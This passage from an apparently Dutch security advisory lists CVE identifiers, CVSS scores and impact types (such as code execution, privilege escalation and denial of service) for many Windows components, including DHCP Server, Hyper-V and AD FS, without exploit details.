CVE-2026-50482 | 7.30 | Uitvoeren van willekeurige code     | \n| CVE-2026-50494 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50667 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50668 | 6.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50672 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56175 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56182 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Overlay Filter: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54987 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50435 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50409 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Notification: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50337 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50334 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Backup Engine: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50406 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Image Acquisition: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50315 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Windows Media Foundation: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54993 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-58610 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-56189 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-57090 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-57094 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-57087 | 8.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Schannel: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56186 | 8.10 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Network Address Translation (NAT): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56181 | 8.30 | Voordoen als andere gebruiker       | \n|----------------|------|-------------------------------------|\n\nCode Integrity DLL (ci.dll): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50491 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows USB Hub Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50479 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows DHCP Server: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-48564 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50370 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50518 | 9.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50685 | 7.50 | Uitvoeren van willekeurige code     | \n| CVE-2026-50683 | 8.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56159 | 9.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-58627 | 7.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows App Installer: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-48572 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-48571 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50400 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Storage: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58526 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Virtual Filtering Platform (VFP): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50432 | 5.30 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows HTTP.sys: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49787 | 7.50 | Denial-of-Service                   | \n| CVE-2026-50420 | 6.20 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Wireless Networking: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58628 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows DWM Core Library: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50437 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Storage Spaces Direct: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49168 | 6.20 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50299 | 6.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nMicrosoft Windows Codecs Library: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-57083 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows GDI: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50387 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows User Interface Core: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50454 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Internal Task Bar: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50293 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Ancillary Function Driver for WinSock: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-34346 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50312 | 4.70 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50462 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-57093 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Redirected Drive Buffering: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50372 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Message Queuing: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50447 | 9.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50505 | 7.50 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Application Model: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50331 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nActive Directory Certificate Services (AD CS): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54121 | 8.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Spaceport.sys: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50333 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50298 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Devices Human Interface: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50310 | 4.70 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows USB Audio Class driver (usbaudio.sys): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49794 | 4.60 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50453 | 6.10 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58528 | 6.80 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Group Policy: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50391 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Filtering Platform (WFP): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50405 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Hyper-V: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54129 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54127 | 7.40 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50485 | 4.50 | Denial-of-Service                   | \n| CVE-2026-50680 | 8.20 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nActive Directory Federation Services (AD FS): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54983 | 7.50 | Denial-of-Service                   | \n| CVE-2026-50695 | 7.50 | Denial-of-Service                   | \n| CVE-2026-56155 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50304 | 7.50 | Denial-of-Service                   | \n| CVE-2026-50368 | 7.50 | Denial-of-Service                   | \n| CVE-2026-50324 | 5.90 | Denial-of-Service                   | \n| CVE-2026-50355 | 7.50 | Denial-of-Service                   | \n| CVE-2026-50411 | 7.50 | Denial-of-Service                   | \n| CVE-2026-50647 | 7.50 | Denial-of-Service                   | \n| CVE-2026-50684 | 4.80 | Voordoen als andere gebruiker       | \n| CVE-2026-58529 | 7.10 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nMicrosoft Windows: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50476 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Projected File System: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50469 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows MIDI Service Module: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50342 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56183 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56187 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft NAT Helper Components (ipnathlp.dll): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58537 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Wireless Wide Area Network Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50450 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50509 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Narrator Braille: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58635 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows OLE: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50344 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50686 | 8.10 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows WebView: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56173 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Network File System: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56194 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56648 | 7.50 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56649 | 5.90 | Uitvoeren van willekeurige code     | \n| CVE-2026-56650 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Netlogon: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50500 | 7.50 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Windows Speech: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49171 | 7.50 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Brokering File System: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49162 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50305 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50361 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50466 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50458 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Connected User Experiences and Telemetry: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50421 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Bluetooth Port Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-42975 | 8.00 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nRemote Desktop Client: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54990 | 9.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50330 | 7.50 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50474 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50504 | 6.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows File Explorer: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-33842 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-40422 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-41087 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50473 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50442 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50389 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50456 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-57084 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Secure Boot: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49783 | 7.80 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nWindows Graphics Kernel: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50296 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50493 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Active Directory: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-55001 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54119 | 7.50 | Denial-of-Service                   | \n| CVE-2026-54115 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50682 | 7.10 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows Clipboard Server: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49183 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50689 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Kernel-Mode Drivers: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50393 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50396 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows FTP Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49172 | 9.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows USB Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50321 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows SMB Server Network Transport Driver (srvnet.sys): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-57089 | 7.50 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows CryptoAPI: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-55144 | 7.10 | Manipulatie van gegevens            | \n|----------------|------|-------------------------------------|\n\nWindows DHCP Client: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49181 | 7.50 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54128 | 8.40 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Operating Systems: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50335 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50317 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows System: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50418 | 5.10 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nWindows Web Proxy Auto-Discovery Protocol (WPAD): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49800 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50480 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nRPC Runtime: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50346 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Cryptographic Services: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-44806 | 5.30 | Denial-of-Service                   | \n| CVE-2026-50302 | 4.20 | Omzeilen van beveiligingsmaatregel  | \n| CVE-2026-50352 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50681 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Client-Side Caching (CSC) Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58637 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Server Backup: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50364 | 7.30 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nSQL Server ODBC driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-42990 | 9.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Installer: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50490 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58540 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows DWM: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58541 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Key Guard: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50303 | 5.50 | Omzeilen van beveiligingsmaatregel  | \n| CVE-2026-50378 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Event Logging Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-34348 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50502 | 8.00 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nExtensible Storage Engine (ESENT): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-57088 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Container Isolation FS Filter Driver (unionfs.sys): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50428 | 7.10 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows USB Print Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-55000 | 6.40 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54111 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54991 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54996 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49802 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49806 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50674 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58543 | 6.30 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows SMB Server: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50360 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56168 | 6.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nComposite Image File System Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50381 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Internal System User Profile: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50425 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Clip Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50384 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows USB Video Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49804 | 6.60 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Remote Help Defense: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-55014 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Printer Drivers: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49166 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-55004 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Clipboard User Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50488 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft XML Core Services: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50359 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Unified Consent System: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50326 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Win32K - GRFX: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56176 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows PowerShell: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-40400 | 8.00 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Secure Socket Tunneling Protocol (SSTP): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50694 | 8.10 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Sensor Data Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50367 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58619 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Remote Desktop Services: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50369 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58626 | 8.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Server Network driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56188 | 9.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Domain Controller: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50424 | 7.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows Local Security Authority Subsystem Service (LSASS): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-40378 | 7.50 | Denial-of-Service                   | \n| 